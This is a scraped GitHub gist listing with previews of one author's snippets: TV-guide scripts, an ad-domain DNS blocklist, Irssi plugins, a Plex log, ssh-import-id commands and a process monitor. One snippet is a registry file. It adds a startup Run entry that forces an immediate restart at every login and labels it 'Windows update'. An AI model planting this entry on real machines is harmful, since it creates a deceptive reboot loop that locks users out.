This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pprint | |
pprint.pprint(globals()) | |
pprint.pprint(locals()) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# coding=utf-8 | |
# Name: Script for downloading XMLTV and inserting it into EyeTV on Mac OS X. | |
# Requirements: Mac OS X, Python, EyeTV & TimeFor.TV Pro user. | |
# crontab -e suggestion: 0 6 * * * /Users/USER/TimeForTv.py | |
# Web/manual: http://okey.dk/?p=311 | |
# Pro-tip: Lad vær med at skrive .py i fil navnet for at få Mac til at automatisk åbne terminalen, i stedet for evt. IDE tools du har. | |
# Copyright Mathias F. Svendsen - okey.dk | |
import urllib2, os, subprocess, time |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
zone "101com.com" { type master; notify no; file "null.zone.file"; }; | |
zone "101order.com" { type master; notify no; file "null.zone.file"; }; | |
zone "103bees.com" { type master; notify no; file "null.zone.file"; }; | |
zone "123banners.com" { type master; notify no; file "null.zone.file"; }; | |
zone "123found.com" { type master; notify no; file "null.zone.file"; }; | |
zone "123pagerank.com" { type master; notify no; file "null.zone.file"; }; | |
zone "180hits.de" { type master; notify no; file "null.zone.file"; }; | |
zone "180searchassistant.com" { type master; notify no; file "null.zone.file"; }; | |
zone "180solutions.com" { type master; notify no; file "null.zone.file"; }; | |
zone "1x1rank.com" { type master; notify no; file "null.zone.file"; }; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# coding=utf-8 | |
import os | |
import sys,stat | |
import urllib2 | |
installto = "/usr/bin/tv_grab_url" | |
def replace_line(file_name, line_num, text): | |
#Stolen from http://stackoverflow.com/questions/4719438/editing-specific-line-in-text-file-in-python |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Windows Registry Editor Version 5.00 | |
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] | |
"MicrosoftPorn"="shutdown.exe /r /l /f /c /t:0 \"Windows update\"" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Jun 15, 2013 10:57:02 [0x7f7e93fff700] DEBUG - Request: GET /system/agents?mediaType=1 [192.168.x.125:61597] (4 live) | |
Jun 15, 2013 10:57:02 [0x7f7e93fff700] DEBUG - * mediaType => 1 | |
Jun 15, 2013 10:57:02 [0x7f7e93fff700] DEBUG - [com.plexapp.system] Sending command over HTTP (GET): /system/agents?mediaType=1 | |
Jun 15, 2013 10:57:02 [0x7f7e93fff700] DEBUG - HTTP requesting to: http://127.0.0.1:53699/system/agents?mediaType=1 | |
Jun 15, 2013 10:57:02 [0x7f7e9a7fc700] DEBUG - Request: GET /system/scanners/1 [192.168.x.125:61598] (5 live) | |
Jun 15, 2013 10:57:02 [0x7f7e9a7fc700] DEBUG - [com.plexapp.system] Sending command over HTTP (GET): /system/scanners/1 | |
Jun 15, 2013 10:57:02 [0x7f7e9a7fc700] DEBUG - HTTP requesting to: http://127.0.0.1:53699/system/scanners/1 | |
Jun 15, 2013 10:57:02 [0x7f7e93fff700] DEBUG - [com.plexapp.system] HTTP reply status 304, with 0 bytes of content. | |
Jun 15, 2013 10:57:02 [0x7f7e9a7fc700] DEBUG - [com.plexapp.system] HTTP reply status 304, with 0 bytes of content. | |
Jun 15, 2013 10:57:02 [0x7f |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use Irssi; | |
use vars qw($VERSION %IRSSI); | |
$VERSION = "1.0"; | |
%IRSSI = ( | |
authors => "Mathias F. Svendsen", | |
contact => "#Mathias @ irc.QuakeNet.org", | |
name => "Close all open quries (and DCC chats)", | |
description => "A quick command to close all those queries you have!", | |
license => "GPL", | |
url => "http://okey.dk/" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use Irssi; | |
use vars qw($VERSION %IRSSI); | |
$VERSION = "1.2"; | |
%IRSSI = ( | |
authors => "Mathias", | |
contact => "#Mathias @ irc.QuakeNet.org", | |
name => "Show Common Channels in Query", | |
description => "When a new query window opens, the script automatically lists the channels you have in common with the other user.", | |
license => "BSD 4-Clause", # http://en.wikipedia.org/wiki/BSD_licenses#4-clause_license_.28original_.22BSD_License.22.29 | |
url => "http://okey.dk/" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# http://packages.debian.org/sid/ssh-import-id | |
# https://launchpad.net/ubuntu/precise/+package/ssh-import-id | |
apt-get install ssh-import-id | |
# Old version of ssh-import-id | |
ssh-import-id saihtam | |
# New version that supports both lp and gh - lp and gh should contain the same key - if not PANIC and remove any of the added keys ASAP | |
ssh-import-id lp:saihtam gh:saihtaM |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import psutil # http://code.google.com/p/psutil/ | |
import os, time | |
import win32api # http://sourceforge.net/projects/pywin32/ | |
while 1: | |
# Lets check every 15. second | |
time.sleep(15) | |
# Get a list of all running processes | |
list = psutil.get_pid_list() |
OlderNewer